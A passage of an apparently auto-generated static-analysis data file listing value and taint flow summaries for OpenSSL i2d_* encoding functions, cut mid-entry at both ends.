"i2d_ECDSA_SIG", "(const ECDSA_SIG *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECPKPARAMETERS", "(const ECPKPARAMETERS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ECPKPARAMETERS", "(const ECPKPARAMETERS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ECPKPARAMETERS", "(const ECPKPARAMETERS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ECPKPARAMETERS", "(const ECPKPARAMETERS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ECPKParameters", "(const EC_GROUP *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECPKParameters", "(const EC_GROUP *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECPKParameters", "(const EC_GROUP *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECParameters", "(const EC_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECParameters", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECParameters", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECPrivateKey", "(const EC_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECPrivateKey", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_ECPrivateKey", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_EC_PRIVATEKEY", "(const EC_PRIVATEKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_EC_PRIVATEKEY", "(const EC_PRIVATEKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_EC_PRIVATEKEY", "(const EC_PRIVATEKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_EC_PRIVATEKEY", "(const EC_PRIVATEKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_EC_PUBKEY", "(const EC_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_EC_PUBKEY", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_EC_PUBKEY", "(const EC_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_EDIPARTYNAME", "(const EDIPARTYNAME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_EDIPARTYNAME", "(const EDIPARTYNAME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_EDIPARTYNAME", "(const EDIPARTYNAME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_EDIPARTYNAME", "(const EDIPARTYNAME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_CERT_ID", "(const ESS_CERT_ID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ESS_CERT_ID", "(const ESS_CERT_ID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_CERT_ID", "(const ESS_CERT_ID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_CERT_ID", "(const ESS_CERT_ID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_CERT_ID_V2", "(const ESS_CERT_ID_V2 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ESS_CERT_ID_V2", "(const ESS_CERT_ID_V2 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_CERT_ID_V2", "(const ESS_CERT_ID_V2 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_CERT_ID_V2", "(const ESS_CERT_ID_V2 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_ISSUER_SERIAL", "(const ESS_ISSUER_SERIAL *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ESS_ISSUER_SERIAL", "(const ESS_ISSUER_SERIAL *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_ISSUER_SERIAL", "(const ESS_ISSUER_SERIAL *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_ISSUER_SERIAL", "(const ESS_ISSUER_SERIAL *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT", "(const ESS_SIGNING_CERT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT", "(const ESS_SIGNING_CERT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT", "(const ESS_SIGNING_CERT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT", "(const ESS_SIGNING_CERT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT_V2", "(const ESS_SIGNING_CERT_V2 *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT_V2", "(const ESS_SIGNING_CERT_V2 *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT_V2", "(const ESS_SIGNING_CERT_V2 *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ESS_SIGNING_CERT_V2", "(const ESS_SIGNING_CERT_V2 *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_EXTENDED_KEY_USAGE", "(const EXTENDED_KEY_USAGE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_EXTENDED_KEY_USAGE", "(const EXTENDED_KEY_USAGE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_EXTENDED_KEY_USAGE", "(const EXTENDED_KEY_USAGE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_EXTENDED_KEY_USAGE", "(const EXTENDED_KEY_USAGE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_GENERAL_NAME", "(const GENERAL_NAME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_GENERAL_NAME", "(const GENERAL_NAME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_GENERAL_NAME", "(const GENERAL_NAME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_GENERAL_NAME", "(const GENERAL_NAME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_GENERAL_NAMES", "(const GENERAL_NAMES *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_GENERAL_NAMES", "(const GENERAL_NAMES *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_GENERAL_NAMES", "(const GENERAL_NAMES *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_GENERAL_NAMES", "(const GENERAL_NAMES *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_GOST_KX_MESSAGE", "(const GOST_KX_MESSAGE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_GOST_KX_MESSAGE", "(const GOST_KX_MESSAGE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_GOST_KX_MESSAGE", "(const GOST_KX_MESSAGE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_GOST_KX_MESSAGE", "(const GOST_KX_MESSAGE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressChoice", "(const IPAddressChoice *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_IPAddressChoice", "(const IPAddressChoice *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressChoice", "(const IPAddressChoice *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressChoice", "(const IPAddressChoice *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressFamily", "(const IPAddressFamily *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_IPAddressFamily", "(const IPAddressFamily *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressFamily", "(const IPAddressFamily *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressFamily", "(const IPAddressFamily *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressOrRange", "(const IPAddressOrRange *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_IPAddressOrRange", "(const IPAddressOrRange *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressOrRange", "(const IPAddressOrRange *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressOrRange", "(const IPAddressOrRange *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressRange", "(const IPAddressRange *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_IPAddressRange", "(const IPAddressRange *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressRange", "(const IPAddressRange *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_IPAddressRange", "(const IPAddressRange *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ISSUER_SIGN_TOOL", "(const ISSUER_SIGN_TOOL *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ISSUER_SIGN_TOOL", "(const ISSUER_SIGN_TOOL *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ISSUER_SIGN_TOOL", "(const ISSUER_SIGN_TOOL *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ISSUER_SIGN_TOOL", "(const ISSUER_SIGN_TOOL *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ISSUING_DIST_POINT", "(const ISSUING_DIST_POINT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_ISSUING_DIST_POINT", "(const ISSUING_DIST_POINT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_ISSUING_DIST_POINT", "(const ISSUING_DIST_POINT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_ISSUING_DIST_POINT", "(const ISSUING_DIST_POINT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_KeyParams", "(const EVP_PKEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_KeyParams", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_KeyParams", "(const EVP_PKEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "i2d_NAMING_AUTHORITY", "(const NAMING_AUTHORITY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NAMING_AUTHORITY", "(const NAMING_AUTHORITY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NAMING_AUTHORITY", "(const NAMING_AUTHORITY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NAMING_AUTHORITY", "(const NAMING_AUTHORITY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_CERT_SEQUENCE", "(const NETSCAPE_CERT_SEQUENCE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NETSCAPE_CERT_SEQUENCE", "(const NETSCAPE_CERT_SEQUENCE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_CERT_SEQUENCE", "(const NETSCAPE_CERT_SEQUENCE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_CERT_SEQUENCE", "(const NETSCAPE_CERT_SEQUENCE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_ENCRYPTED_PKEY", "(const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NETSCAPE_ENCRYPTED_PKEY", "(const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_ENCRYPTED_PKEY", "(const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_ENCRYPTED_PKEY", "(const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_PKEY", "(const NETSCAPE_PKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NETSCAPE_PKEY", "(const NETSCAPE_PKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_PKEY", "(const NETSCAPE_PKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_PKEY", "(const NETSCAPE_PKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKAC", "(const NETSCAPE_SPKAC *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKAC", "(const NETSCAPE_SPKAC *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKAC", "(const NETSCAPE_SPKAC *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKAC", "(const NETSCAPE_SPKAC *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKI", "(const NETSCAPE_SPKI *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKI", "(const NETSCAPE_SPKI *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKI", "(const NETSCAPE_SPKI *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKI", "(const NETSCAPE_SPKI *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NOTICEREF", "(const NOTICEREF *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NOTICEREF", "(const NOTICEREF *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NOTICEREF", "(const NOTICEREF *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NOTICEREF", "(const NOTICEREF *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_BASICRESP", "(const OCSP_BASICRESP *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_BASICRESP", "(const OCSP_BASICRESP *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_BASICRESP", "(const OCSP_BASICRESP *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_BASICRESP", "(const OCSP_BASICRESP *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CERTID", "(const OCSP_CERTID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_CERTID", "(const OCSP_CERTID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CERTID", "(const OCSP_CERTID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CERTID", "(const OCSP_CERTID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CERTSTATUS", "(const OCSP_CERTSTATUS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_CERTSTATUS", "(const OCSP_CERTSTATUS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CERTSTATUS", "(const OCSP_CERTSTATUS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CERTSTATUS", "(const OCSP_CERTSTATUS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CRLID", "(const OCSP_CRLID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_CRLID", "(const OCSP_CRLID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CRLID", "(const OCSP_CRLID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CRLID", "(const OCSP_CRLID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_ONEREQ", "(const OCSP_ONEREQ *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_ONEREQ", "(const OCSP_ONEREQ *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_ONEREQ", "(const OCSP_ONEREQ *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_ONEREQ", "(const OCSP_ONEREQ *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REQINFO", "(const OCSP_REQINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_REQINFO", "(const OCSP_REQINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REQINFO", "(const OCSP_REQINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REQINFO", "(const OCSP_REQINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REQUEST", "(const OCSP_REQUEST *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_REQUEST", "(const OCSP_REQUEST *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REQUEST", "(const OCSP_REQUEST *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REQUEST", "(const OCSP_REQUEST *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPBYTES", "(const OCSP_RESPBYTES *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_RESPBYTES", "(const OCSP_RESPBYTES *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPBYTES", "(const OCSP_RESPBYTES *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPBYTES", "(const OCSP_RESPBYTES *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPDATA", "(const OCSP_RESPDATA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_RESPDATA", "(const OCSP_RESPDATA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPDATA", "(const OCSP_RESPDATA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPDATA", "(const OCSP_RESPDATA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPID", "(const OCSP_RESPID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_RESPID", "(const OCSP_RESPID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPID", "(const OCSP_RESPID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPID", "(const OCSP_RESPID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPONSE", "(const OCSP_RESPONSE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_RESPONSE", "(const OCSP_RESPONSE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPONSE", "(const OCSP_RESPONSE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPONSE", "(const OCSP_RESPONSE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REVOKEDINFO", "(const OCSP_REVOKEDINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_REVOKEDINFO", "(const OCSP_REVOKEDINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REVOKEDINFO", "(const OCSP_REVOKEDINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REVOKEDINFO", "(const OCSP_REVOKEDINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SERVICELOC", "(const OCSP_SERVICELOC *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_SERVICELOC", "(const OCSP_SERVICELOC *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SERVICELOC", "(const OCSP_SERVICELOC *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SERVICELOC", "(const OCSP_SERVICELOC *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SIGNATURE", "(const OCSP_SIGNATURE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_SIGNATURE", "(const OCSP_SIGNATURE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SIGNATURE", "(const OCSP_SIGNATURE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SIGNATURE", "(const OCSP_SIGNATURE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SINGLERESP", "(const OCSP_SINGLERESP *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_SINGLERESP", "(const OCSP_SINGLERESP *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SINGLERESP", "(const OCSP_SINGLERESP *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SINGLERESP", "(const OCSP_SINGLERESP *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_AA_DIST_POINT", "(const OSSL_AA_DIST_POINT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_AA_DIST_POINT", "(const OSSL_AA_DIST_POINT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_AA_DIST_POINT", "(const OSSL_AA_DIST_POINT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_AA_DIST_POINT", "(const OSSL_AA_DIST_POINT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", 